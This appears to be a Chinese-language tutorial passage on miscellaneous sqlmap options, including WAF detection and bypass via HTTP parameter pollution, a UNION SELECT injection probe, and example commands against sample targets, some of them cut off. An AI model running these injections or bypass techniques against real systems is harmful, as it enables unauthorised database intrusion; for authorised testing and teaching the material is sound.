1 | $ python sqlmap.py -u |
发现SQL注入时发出蜂鸣声
参数:–beep
发现sql注入时,发出蜂鸣声。
启发式检测WAF/IPS/IDS保护
参数:–check-waf
WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。
sqlmap将会使用一个不存在的参数来注入测试
例如:
1 | &foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables |
如果有保护的话可能返回结果会不同。
清理sqlmap的UDF(s)和表
参数:–cleanup
清除sqlmap注入时产生的udf与表。
禁用彩色输出
参数:–disable-coloring
sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。
使用指定的Google结果页面
参数:–gpage
默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。
使用HTTP参数污染
参数:-hpp
HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。
测试WAF/IPS/IDS保护
参数:–identify-waf
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。
例如对一个受到ModSecurity WAF保护的MySQL例子:
1 | $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" |
模仿智能手机
参数:–mobile
有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。
例如:
1 | $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile |
安全的删除output目录的文件
参数:–purge-output
有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。
例如:
1 | $ python sqlmap.py --purge-output -v 3 |
启发式判断注入
参数:–smart
有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。
例子:
1 | $ python sqlmap.py -u |
初级用户向导参数
参数:–wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。
来源
安全牛课堂-kali-linux-web篇
瞌睡龙:http://drops.wooyun.org/author/瞌睡龙
91ri:https://www.91ri.org/7852.html